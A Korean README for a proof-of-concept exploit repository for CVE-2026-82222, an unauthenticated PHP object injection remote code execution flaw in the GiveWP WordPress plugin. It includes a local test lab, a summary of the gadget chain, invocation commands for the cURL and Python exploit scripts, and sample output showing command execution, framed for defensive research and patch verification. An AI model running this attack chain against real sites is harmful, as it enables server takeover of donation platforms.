
CVE-2026-82222에 대한 개념 증명 및 로컬 DDEV 랩으로, GiveWP WordPress 플러그인의 인증되지 않은 PHP 객체 주입을 통한 RCE 취약점이며, cURL 및 Python 익스플로잇 스크립트를 포함합니다.
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (치명적) |
| CWE | CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 |
| 영향받는 버전 | GiveWP (기부 플러그인) <= 4.16.7.1 |
| 패치 버전 | 4.16.7.2 |
| 권고 | Patchstack |
승인된 테스트 전용. 이 저장소는 교육, 취약점 연구 및 본인이 소유하거나 명시적으로 테스트가 허용된 시스템을 테스트하기 위한 것입니다. 무단 사용은 불법입니다.
이 저장소는 보안 전문가들이 CVE-2026-82222를 이해하고, 탐지하며,
방어할 수 있도록 돕기 위해 존재합니다. 모든 시연은 본인 컴퓨터에서
실행하는 로컬 랩(lab/)을 위해 설계되었습니다. PoC는 디스크에 아무것도
쓰지 않고 플러그인 설정도 변경하지 않습니다 — 명령 출력은 트리거 요청의
HTTP 응답에만 실려 나옵니다. 전체 범위와 신고 정책은 SECURITY.md를
참조하세요.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 취약 랩
│ ├── setup.sh # 한 명령으로 랩 구축
│ ├── set-givewp-version.sh # 취약/패치된 GiveWP 버전 전환
│ ├── .ddev/config.yaml # DDEV 프로젝트 설정
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL 익스플로잇 스크립트
│ ├── poc.py # Python 익스플로잇 스크립트
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # 기술 분석 + 도달 가능성 매트릭스
│ ├── BURP-MANUAL.md # Burp Repeater 워크스루 (요청/응답)
│ └── CURL-POC.md # 복사/붙여넣기 cURL 워크스루
├── SECURITY.md # 범위, 신고 및 안전 사용 정책
└── LICENSE
인증되지 않은 네 개의 요청과 하나의 트리거:
users_can_register를 무시하고
인증된 WP 쿠키를 발급합니다.TCPDF → Symfony Session →
DonorFactory → system)을 계정의 last_name 메타 필드에 저장합니다.give_last 없이 기부를 제출합니다. GiveWP는 DB에서 이름을
채우고, allowed_classes=false로 가젯을 역직렬화하며, 살아있는 객체
그래프를 wp_give_sessions에 직렬화합니다.unserialize()로 세션을 다시
읽습니다. TCPDF::__destruct()가 call_user_func_array('system', [cmd])에
도달합니다. 출력은 HTTP 응답에 나타나며 — 디스크에는 아무것도 쓰이지
않습니다.전체 세부 사항: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Docker + DDEV가 필요합니다.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
두 PoC 모두 설계상 단일 대상입니다 — 배치 또는 대량 스캔 모드는
없습니다. lab/의 랩이나 테스트 권한이 있는 시스템에만 실행하세요.
예상 성공 출력 (명령 id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | 상태 |
|---|---|
| <= 4.16.5.1 | 취약 — 기본 설치가 완전히 도달 가능 |
| 4.16.6 – 4.16.7.1 | 취약 — 레거시(비 V3) 폼 필요; 등록에 give_register_nonce 필요 |
| 4.16.7.2 | 패치됨 |
이 저장소는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. 포함된 코드는 문서화된 취약점을 시연하여 방어자가 탐지를 구축하고, 패치를 검증하며, 자체 시스템을 테스트할 수 있도록 합니다.
저자는 이 자료로 인한 오용이나 손해에 대해 책임지지 않습니다. 명시적 승인 없이 어떤 시스템에도 사용하지 마세요 — 그렇게 하면 컴퓨터 사기 및 남용법(CFAA) 및 전 세계의 동등한 법률을 위반할 수 있습니다. SECURITY.md를 참조하세요.
MIT — LICENSE를 참조하세요.